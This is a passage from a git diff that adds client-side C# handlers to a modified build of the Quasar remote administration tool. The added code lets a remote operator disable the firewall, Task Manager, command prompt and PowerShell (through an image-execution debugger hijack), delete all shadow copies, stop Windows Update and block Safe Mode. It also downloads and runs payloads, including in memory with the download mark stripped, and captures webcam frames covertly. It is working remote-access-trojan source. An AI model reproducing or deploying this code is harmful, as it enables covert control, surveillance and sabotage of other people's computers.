private string GetOSVersion() + { + try + { + using (var searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) + { + foreach (ManagementObject os in searcher.Get()) + { + return os["Caption"].ToString(); + } + } + } + catch { } + return Environment.OSVersion.ToString(); + } + + private string GetOSArchitecture() + { + return Environment.Is64BitOperatingSystem ? "64-bit" : "32-bit"; + } + + private string GetOSBuild() + { + try + { + using (var searcher = new ManagementObjectSearcher("SELECT BuildNumber FROM Win32_OperatingSystem")) + { + foreach (ManagementObject os in searcher.Get()) + { + return os["BuildNumber"].ToString(); + } + } + } + catch { } + return "Unknown"; + } + + private string GetDotNetVersion() + { + try + { + using (Microsoft.Win32.RegistryKey ndpKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\")) + { + if (ndpKey != null) + { + int releaseKey = (int)ndpKey.GetValue("Release"); + if (releaseKey >= 528040) return "4.8 or later"; + if (releaseKey >= 461808) return "4.7.2"; + if (releaseKey >= 461308) return "4.7.1"; + if (releaseKey >= 460798) return "4.7"; + if (releaseKey >= 394802) return "4.6.2"; + if (releaseKey >= 394254) return "4.6.1"; + if (releaseKey >= 393295) return "4.6"; + return "4.5 or later"; + } + } + } + catch { } + return "Unknown"; + } + + private string GetAccountType() + { + try + { + WindowsIdentity identity = WindowsIdentity.GetCurrent(); + WindowsPrincipal principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator) ? "Administrator" : "Standard User"; + } + catch + { + return "Unknown"; + } + } + + private string GetTotalDiskSpace() + { + try + { + DriveInfo drive = new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)); + double totalGB = drive.TotalSize / (1024.0 * 1024.0 * 1024.0); + return $"{totalGB:F2} GB"; + } + catch + { + return "Unknown"; + } + } + + private string GetFreeDiskSpace() + { + try + { + DriveInfo drive = new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)); + double freeGB = drive.AvailableFreeSpace / (1024.0 * 1024.0 * 1024.0); + return $"{freeGB:F2} GB"; + } + catch + { + return "Unknown"; + } + } + + private string GetScreenResolution() + { + try + { + return $"{Screen.PrimaryScreen.Bounds.Width} x {Screen.PrimaryScreen.Bounds.Height}"; + } + catch + { + return "Unknown"; + } + } + + private string GetLastBootTime() + { + try + { + using (var searcher = new ManagementObjectSearcher("SELECT LastBootUpTime FROM Win32_OperatingSystem")) + { + foreach (ManagementObject os in searcher.Get()) + { + DateTime bootTime = ManagementDateTimeConverter.ToDateTime(os["LastBootUpTime"].ToString()); + return bootTime.ToString("yyyy-MM-dd HH:mm:ss"); + } + } + } + catch { } + return "Unknown"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/SystemOptionHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/SystemOptionHandler.cs new file mode 100755 index 0000000..060122b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/SystemOptionHandler.cs @@ -0,0 +1,302 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; + +// NOTE: All registry access is fully qualified as Microsoft.Win32.Registry.* +// to avoid ambiguity with the Quasar.Client.Registry namespace. + +namespace Quasar.Client.Messages +{ + public class SystemOptionHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoSystemOption; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoSystemOption option: + Execute(sender, option); + break; + } + } + + private void Execute(ISender client, DoSystemOption message) + { + try + { + bool success = false; + string resultMessage = ""; + + switch (message.Option.ToUpper()) + { + case "REGISTRY": + success = SetRegistryOption(message.Enable); + resultMessage = message.Enable ? "Registry Editor Enabled" : "Registry Editor Disabled"; + break; + case "TASKMGR": + success = SetTaskManagerOption(message.Enable); + resultMessage = message.Enable ? "Task Manager Enabled" : "Task Manager Disabled"; + break; + case "CMD": + success = SetCmdOption(message.Enable); + resultMessage = message.Enable ? "Command Prompt Enabled" : "Command Prompt Disabled"; + break; + case "FIREWALL": + success = SetFirewallOption(message.Enable); + resultMessage = message.Enable ? "Firewall Enabled" : "Firewall Disabled"; + break; + case "RESTOREPOINTS": + success = DeleteRestorePoints(); + resultMessage = "Restore Points Deleted"; + break; + case "POWERSHELL": + success = SetPowerShellOption(message.Enable); + resultMessage = message.Enable ? "PowerShell Enabled" : "PowerShell Disabled"; + break; + case "PSEXECUTION": + success = SetPsExecutionPolicy(message.Enable); + resultMessage = message.Enable ? "PS Script Execution Enabled" : "PS Script Execution Restricted"; + break; + case "WINDOWSUPDATE": + success = SetWindowsUpdateOption(message.Enable); + resultMessage = message.Enable ? "Windows Update Enabled" : "Windows Update Disabled"; + break; + case "RDP": + success = SetRdpOption(message.Enable); + resultMessage = message.Enable ? "Remote Desktop Enabled" : "Remote Desktop Disabled"; + break; + case "USB": + success = SetUsbStorageOption(message.Enable); + resultMessage = message.Enable ? "USB Storage Enabled" : "USB Storage Disabled"; + break; + case "CONTROLPANEL": + success = SetControlPanelOption(message.Enable); + resultMessage = message.Enable ? "Control Panel Enabled" : "Control Panel Disabled"; + break; + case "RUNDIALOG": + success = SetRunDialogOption(message.Enable); + resultMessage = message.Enable ? "Run Dialog Enabled" : "Run Dialog Disabled"; + break; + case "SAFEMODE": + success = SetSafeModeOption(message.Enable); + resultMessage = message.Enable ? "Safe Mode Boot Allowed" : "Safe Mode Boot Blocked"; + break; + default: + resultMessage = "Unknown option: " + message.Option; + break; + } + + client.Send(new SystemOptionResponse { Success = success, Message = resultMessage }); + } + catch (Exception ex) + { + client.Send(new SystemOptionResponse { Success = false, Message = "Error: " + ex.Message }); + } + } + + private bool SetRegistryOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System")) + { + if (enable) key.DeleteValue("DisableRegistryTools", false); + else key.SetValue("DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + return true; + } + catch { return false; } + } + + private bool SetTaskManagerOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System")) + { + if (enable) key.DeleteValue("DisableTaskMgr", false); + else key.SetValue("DisableTaskMgr", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + return true; + } + catch { return false; } + } + + private bool SetCmdOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Policies\Microsoft\Windows\System")) + { + if (enable) key.DeleteValue("DisableCMD", false); + else key.SetValue("DisableCMD", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + return true; + } + catch { return false; } + } + + private bool SetFirewallOption(bool enable) + { + try + { + RunCommand("netsh", $"advfirewall set allprofiles state {(enable ? "on" : "off")}"); + return true; + } + catch { return false; } + } + + private bool DeleteRestorePoints() + { + try + { + RunCommand("vssadmin", "delete shadows /all /quiet"); + return true; + } + catch { return false; } + } + + private bool SetPowerShellOption(bool enable) + { + try + { + // Image File Execution Options debugger trick — redirects powershell.exe to nothing + string[] targets = { "powershell.exe", "powershell_ise.exe" }; + foreach (var exe in targets) + { + string path = $@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\{exe}"; + if (enable) + { + Microsoft.Win32.Registry.LocalMachine.DeleteSubKey(path, false); + } + else + { + using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(path)) + key.SetValue("Debugger", "svchost.exe", Microsoft.Win32.RegistryValueKind.String); + } + } + return true; + } + catch { return false; } + } + + private bool SetPsExecutionPolicy(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell")) + { + key.SetValue("ExecutionPolicy", enable ? "Unrestricted" : "Restricted", Microsoft.Win32.RegistryValueKind.String); + } + return true; + } + catch { return false; } + } + + private bool SetWindowsUpdateOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU")) + { + if (enable) key.DeleteValue("NoAutoUpdate", false); + else key.SetValue("NoAutoUpdate", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + RunCommand("sc", $"config wuauserv start= {(enable ? "auto" : "disabled")}"); + RunCommand("sc", $"{(enable ? "start" : "stop")} wuauserv"); + return true; + } + catch { return false; } + } + + private bool SetRdpOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server", true)) + key?.SetValue("fDenyTSConnections", enable ? 0 : 1, Microsoft.Win32.RegistryValueKind.DWord); + RunCommand("netsh", $"advfirewall firewall set rule group=\"remote desktop\" new enable={(enable ? "enable" : "disable")}"); + return true; + } + catch { return false; } + } + + private bool SetUsbStorageOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\USBSTOR", true)) + key?.SetValue("Start", enable ? 3 : 4, Microsoft.Win32.RegistryValueKind.DWord); + return true; + } + catch { return false; } + } + + private bool SetControlPanelOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")) + { + if (enable) key.DeleteValue("NoControlPanel", false); + else key.SetValue("NoControlPanel", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + return true; + } + catch { return false; } + } + + private bool SetRunDialogOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")) + { + if (enable) + { + key.DeleteValue("NoRun", false); + key.DeleteValue("NoFind", false); + } + else + { + key.SetValue("NoRun", 1, Microsoft.Win32.RegistryValueKind.DWord); + key.SetValue("NoFind", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + } + return true; + } + catch { return false; } + } + + private bool SetSafeModeOption(bool enable) + { + try + { + if (enable) + RunCommand("bcdedit", "/deletevalue safeboot"); + else + RunCommand("bcdedit", "/set safeboot minimal"); + return true; + } + catch { return false; } + } + + private void RunCommand(string exe, string args) + { + var psi = new ProcessStartInfo + { + FileName = exe, + Arguments = args, + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + using (var p = Process.Start(psi)) + p?.WaitForExit(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/TaskManagerHandler.cs new file mode 100755 index 0000000..707273d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/TaskManagerHandler.cs @@ -0,0 +1,261 @@ +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Common; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Net; +using System.Reflection; +using System.Threading; + +namespace Quasar.Client.Messages +{ + /// + /// Handles messages for the interaction with tasks. + /// + public class TaskManagerHandler : IMessageProcessor, IDisposable + { + private readonly QuasarClient _client; + + private readonly WebClient _webClient; + + public TaskManagerHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _webClient = new WebClient { Proxy = null }; + _webClient.DownloadFileCompleted += OnDownloadFileCompleted; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + if (!connected) + { + if (_webClient.IsBusy) + _webClient.CancelAsync(); + } + } + + public bool CanExecute(IMessage message) => message is GetProcesses || + message is DoProcessStart || + message is DoProcessEnd; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetProcesses msg: + Execute(sender, msg); + break; + case DoProcessStart msg: + Execute(sender, msg); + break; + case DoProcessEnd msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetProcesses message) + { + Process[] pList = Process.GetProcesses(); + var processes = new Common.Models.Process[pList.Length]; + + for (int i = 0; i < pList.Length; i++) + { + var process = new Common.Models.Process + { + Name = pList[i].ProcessName + ".exe", + Id = pList[i].Id, + MainWindowTitle = pList[i].MainWindowTitle + }; + processes[i] = process; + } + + client.Send(new GetProcessesResponse { Processes = processes }); + } + + private void Execute(ISender client, DoProcessStart message) + { + // In-memory execution: payload bytes sent directly, no disk write + if (message.ExecuteInMemory && message.Payload != null && message.Payload.Length > 0) + { + ExecuteInMemory(message.Payload); + return; + } + + if (string.IsNullOrEmpty(message.FilePath)) + { + // download and then execute + if (string.IsNullOrEmpty(message.DownloadUrl)) + { + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + return; + } + + message.FilePath = FileHelper.GetTempFilePath(".exe"); + + try + { + if (_webClient.IsBusy) + { + _webClient.CancelAsync(); + while (_webClient.IsBusy) + { + Thread.Sleep(50); + } + } + + _webClient.DownloadFileAsync(new Uri(message.DownloadUrl), message.FilePath, message); + } + catch + { + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + NativeMethods.DeleteFile(message.FilePath); + } + } + else + { + // execute locally + ExecuteProcess(message.FilePath, message.IsUpdate); + } + } + + /// + /// Executes a managed .NET assembly from raw bytes without writing to disk. + /// Falls back to a temp-file approach for native PEs. + /// + private void ExecuteInMemory(byte[] payload) + { + try + { + // Try managed assembly load first (works for .NET EXEs) + var asm = Assembly.Load(payload); + var entry = asm.EntryPoint; + if (entry != null) + { + new Thread(() => + { + try + { + var parameters = entry.GetParameters().Length > 0 + ? new object[] { new string[0] } + : null; + entry.Invoke(null, parameters); + } + catch { } + }) { IsBackground = true }.Start(); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + return; + } + } + catch { } + + // Fallback: write to temp, mark for delete, execute + try + { + string tmp = FileHelper.GetTempFilePath(".exe"); + System.IO.File.WriteAllBytes(tmp, payload); + FileHelper.DeleteZoneIdentifier(tmp); + Process.Start(new ProcessStartInfo { FileName = tmp, UseShellExecute = true }); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + } + catch + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + } + } + + private void OnDownloadFileCompleted(object sender, AsyncCompletedEventArgs e) + { + var message = (DoProcessStart) e.UserState; + if (e.Cancelled) + { + NativeMethods.DeleteFile(message.FilePath); + return; + } + + FileHelper.DeleteZoneIdentifier(message.FilePath); + ExecuteProcess(message.FilePath, message.IsUpdate); + } + + private void ExecuteProcess(string filePath, bool isUpdate) + { + if (isUpdate) + { + try + { + var clientUpdater = new ClientUpdater(); + clientUpdater.Update(filePath); + _client.Send(new SetStatus { Message = "Update initiated - client will restart" }); + // Give the message time to send before exiting + Thread.Sleep(500); + _client.Exit(); + } + catch (Exception ex) + { + NativeMethods.DeleteFile(filePath); + _client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" }); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + } + } + else + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo + { + UseShellExecute = true, + FileName = filePath + }; + Process.Start(startInfo); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + } + catch (Exception) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + } + + } + } + + private void Execute(ISender client, DoProcessEnd message) + { + try + { + Process.GetProcessById(message.Pid).Kill(); + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true }); + } + catch + { + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _webClient.DownloadFileCompleted -= OnDownloadFileCompleted; + _webClient.CancelAsync(); + _webClient.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/TcpConnectionsHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/TcpConnectionsHandler.cs new file mode 100755 index 0000000..f4c55d6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/TcpConnectionsHandler.cs @@ -0,0 +1,117 @@ +using Quasar.Client.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Client.Messages +{ + public class TcpConnectionsHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetConnections || + message is DoCloseConnection; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnections msg: + Execute(sender, msg); + break; + case DoCloseConnection msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetConnections message) + { + var table = GetTable(); + + var connections = new TcpConnection[table.Length]; + + for (int i = 0; i < table.Length; i++) + { + string processName; + try + { + var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid); + processName = p.ProcessName; + } + catch + { + processName = $"PID: {table[i].owningPid}"; + } + + connections[i] = new TcpConnection + { + ProcessName = processName, + LocalAddress = table[i].LocalAddress.ToString(), + LocalPort = table[i].LocalPort, + RemoteAddress = table[i].RemoteAddress.ToString(), + RemotePort = table[i].RemotePort, + State = (ConnectionState)table[i].state + }; + } + + client.Send(new GetConnectionsResponse { Connections = connections }); + } + + private void Execute(ISender client, DoCloseConnection message) + { + var table = GetTable(); + + for (var i = 0; i < table.Length; i++) + { + //search for connection + if (message.LocalAddress == table[i].LocalAddress.ToString() && + message.LocalPort == table[i].LocalPort && + message.RemoteAddress == table[i].RemoteAddress.ToString() && + message.RemotePort == table[i].RemotePort) + { + // it will close the connection only if client run as admin + table[i].state = (byte) ConnectionState.Delete_TCB; + var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); + Marshal.StructureToPtr(table[i], ptr, false); + NativeMethods.SetTcpEntry(ptr); + Execute(client, new GetConnections()); + return; + } + } + } + + private NativeMethods.MibTcprowOwnerPid[] GetTable() + { + NativeMethods.MibTcprowOwnerPid[] tTable; + var afInet = 2; + var buffSize = 0; + // retrieve correct pTcpTable size + NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + var buffTable = Marshal.AllocHGlobal(buffSize); + try + { + var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + if (ret != 0) + return null; + var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); + var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries)); + tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries]; + for (var i = 0; i < tab.dwNumEntries; i++) + { + var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid)); + tTable[i] = tcpRow; + rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow)); + } + } + finally + { + Marshal.FreeHGlobal(buffTable); + } + return tTable; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/WebcamHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/WebcamHandler.cs new file mode 100755 index 0000000..84bdc5e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/WebcamHandler.cs @@ -0,0 +1,147 @@ +using AForge.Video; +using AForge.Video.DirectShow; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class WebcamHandler : IMessageProcessor, IDisposable + { + private volatile bool _isCapturing; + private VideoCaptureDevice _videoDevice; + private int _quality = 75; + private ISender _currentSender; + private readonly object _lock = new object(); + private static ImageCodecInfo _jpegCodec; + + static WebcamHandler() + { + foreach (var c in ImageCodecInfo.GetImageDecoders()) + if (c.FormatID == ImageFormat.Jpeg.Guid) { _jpegCodec = c; break; } + } + + public bool CanExecute(IMessage message) => + message is GetWebcams || message is DoWebcamStart || message is DoWebcamStop; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + _currentSender = sender; + switch (message) + { + case GetWebcams m: Execute(sender, m); break; + case DoWebcamStart m: Execute(sender, m); break; + case DoWebcamStop m: Execute(sender, m); break; + } + } + + private void Execute(ISender sender, GetWebcams msg) + { + try + { + var devices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + var sb = new System.Text.StringBuilder(); + foreach (FilterInfo d in devices) + sb.Append(d.Name + "=>"); + sender.Send(new GetWebcamsResponse { Webcams = sb.Length > 0 ? sb.ToString() : "None=>" }); + } + catch (Exception ex) + { + Debug.WriteLine("[WebcamHandler] GetWebcams error: " + ex.Message); + sender.Send(new GetWebcamsResponse { Webcams = "None=>" }); + } + } + + private void Execute(ISender sender, DoWebcamStart msg) + { + lock (_lock) + { + StopDeviceLocked(); + try + { + var devices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + if (msg.CameraIndex < 0 || msg.CameraIndex >= devices.Count) return; + + _quality = msg.Quality; + _isCapturing = true; + _videoDevice = new VideoCaptureDevice(devices[msg.CameraIndex].MonikerString); + _videoDevice.NewFrame += CaptureFrame; + if (_videoDevice.VideoCapabilities.Length > 0) + _videoDevice.VideoResolution = _videoDevice.VideoCapabilities[0]; + _videoDevice.Start(); + } + catch (Exception ex) + { + Debug.WriteLine("[WebcamHandler] Start error: " + ex.Message); + _isCapturing = false; + _videoDevice = null; + } + } + } + + private void Execute(ISender sender, DoWebcamStop msg) + { + lock (_lock) { StopDeviceLocked(); } + } + + private void CaptureFrame(object sender, NewFrameEventArgs e) + { + if (!_isCapturing || _currentSender == null) return; + try + { + using (var bmp = (Bitmap)e.Frame.Clone()) + using (var ms = new MemoryStream()) + { + var ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)_quality); + bmp.Save(ms, _jpegCodec, ep); + ep.Dispose(); + _currentSender.Send(new GetWebcamResponse { Image = ms.ToArray() }); + } + } + catch (Exception ex) + { + Debug.WriteLine("[WebcamHandler] CaptureFrame error: " + ex.Message); + } + } + + private void StopDeviceLocked() + { + _isCapturing = false; + if (_videoDevice == null) return; + try + { + _videoDevice.NewFrame -= CaptureFrame; + if (_videoDevice.IsRunning) + { + _videoDevice.SignalToStop(); + // Wait max 2s then force + for (int i = 0; i < 20 && _videoDevice.IsRunning; i++) + Thread.Sleep(100); + if (_videoDevice.IsRunning) + _videoDevice.Stop(); + } + } + catch (Exception ex) + { + Debug.WriteLine("[WebcamHandler] StopDevice error: " + ex.Message); + } + finally + { + _videoDevice = null; + } + } + + public void Dispose() + { + lock (_lock) { StopDeviceLocked(); } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/WebsiteVisitorHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/WebsiteVisitorHandler.cs new file mode 100755 index 0000000..773b982 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/WebsiteVisitorHandler.cs @@ -0,0 +1,60 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Net; + +namespace Quasar.Client.Messages +{ + public class WebsiteVisitorHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoVisitWebsite; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoVisitWebsite msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoVisitWebsite message) + { + string url = message.Url; + + if (!url.StartsWith("http")) + url = "http://" + url; + + if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) + { + if (!message.Hidden) + Process.Start(url); + else + { + try + { + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); + request.UserAgent = + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"; + request.AllowAutoRedirect = true; + request.Timeout = 10000; + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + } + } + catch + { + } + } + + client.Send(new SetStatus { Message = "Visited Website" }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Networking/Client.cs b/Quasar-1.4.1/Quasar.Client/Networking/Client.cs new file mode 100755 index 0000000..02af879 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Networking/Client.cs @@ -0,0 +1,691 @@ +using Quasar.Client.ReverseProxy; +using Quasar.Common.Extensions; +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Quasar.Client.Networking +{ + public class Client : ISender + { + /// + /// Occurs as a result of an unrecoverable issue with the client. + /// + public event ClientFailEventHandler ClientFail; + + /// + /// Represents a method that will handle failure of the client. + /// + /// The client that has failed. + /// The exception containing information about the cause of the client's failure. + public delegate void ClientFailEventHandler(Client s, Exception ex); + + /// + /// Fires an event that informs subscribers that the client has failed. + /// + /// The exception containing information about the cause of the client's failure. + private void OnClientFail(Exception ex) + { + var handler = ClientFail; + handler?.Invoke(this, ex); + } + + /// + /// Occurs when the state of the client has changed. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents the method that will handle a change in the client's state + /// + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Client s, bool connected); + + /// + /// Fires an event that informs subscribers that the state of the client has changed. + /// + /// The new connection state of the client. + private void OnClientState(bool connected) + { + if (Connected == connected) return; + + Connected = connected; + + var handler = ClientState; + handler?.Invoke(this, connected); + } + + /// + /// Occurs when a message is received from the server. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents a method that will handle a message from the server. + /// + /// The client that has received the message. + /// The message that has been received by the server. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that a message has been received by the server. + /// + /// The message that has been received by the server. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) + { + var handler = ClientRead; + handler?.Invoke(this, message, messageLength); + } + + /// + /// Occurs when a message is sent by the client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(IMessage message, int messageLength) + { + var handler = ClientWrite; + handler?.Invoke(this, message, messageLength); + } + + /// + /// The type of the message received. + /// + public enum ReceiveType + { + Header, + Payload + } + + /// + /// The buffer size for receiving data in bytes. + /// + public int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB + + /// + /// The keep-alive time in ms. + /// + public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s + + /// + /// The keep-alive interval in ms. + /// + public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s + + /// + /// The header size in bytes. + /// + public int HEADER_SIZE { get { return 4; } } // 4B + + /// + /// The maximum size of a message in bytes. + /// + public int MAX_MESSAGE_SIZE { get { return (1024 * 1024) * 5; } } // 5MB + + /// + /// Returns an array containing all of the proxy clients of this client. + /// + public ReverseProxyClient[] ProxyClients + { + get + { + lock (_proxyClientsLock) + { + return _proxyClients.ToArray(); + } + } + } + + /// + /// Gets if the client is currently connected to a server. + /// + public bool Connected { get; private set; } + + /// + /// The stream used for communication. + /// + private SslStream _stream; + + /// + /// The server certificate. + /// + private readonly X509Certificate2 _serverCertificate; + + /// + /// A list of all the connected proxy clients that this client holds. + /// + private List _proxyClients = new List(); + + /// + /// The internal index of the message type. + /// + private int _typeIndex; + + /// + /// Lock object for the list of proxy clients. + /// + private readonly object _proxyClientsLock = new object(); + + /// + /// The buffer for incoming messages. + /// + private byte[] _readBuffer; + + /// + /// The buffer for the client's incoming payload. + /// + private byte[] _payloadBuffer; + + /// + /// The queue which holds messages to send. + /// + private readonly Queue _sendBuffers = new Queue(); + + /// + /// Determines if the client is currently sending messages. + /// + private bool _sendingMessages; + + /// + /// Lock object for the sending messages boolean. + /// + private readonly object _sendingMessagesLock = new object(); + + /// + /// The queue which holds buffers to read. + /// + private readonly Queue _readBuffers = new Queue(); + + /// + /// Determines if the client is currently reading messages. + /// + private bool _readingMessages; + + /// + /// Lock object for the reading messages boolean. + /// + private readonly object _readingMessagesLock = new object(); + + // Receive info + private int _readOffset; + private int _writeOffset; + private int _readableDataLen; + private int _payloadLen; + private ReceiveType _receiveState = ReceiveType.Header; + + /// + /// The mutex prevents multiple simultaneous write operations on the . + /// + private readonly Mutex _singleWriteMutex = new Mutex(); + + /// + /// Constructor of the client, initializes serializer types. + /// + /// The server certificate. + protected Client(X509Certificate2 serverCertificate) + { + _serverCertificate = serverCertificate; + _readBuffer = new byte[BUFFER_SIZE]; + TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); + } + + 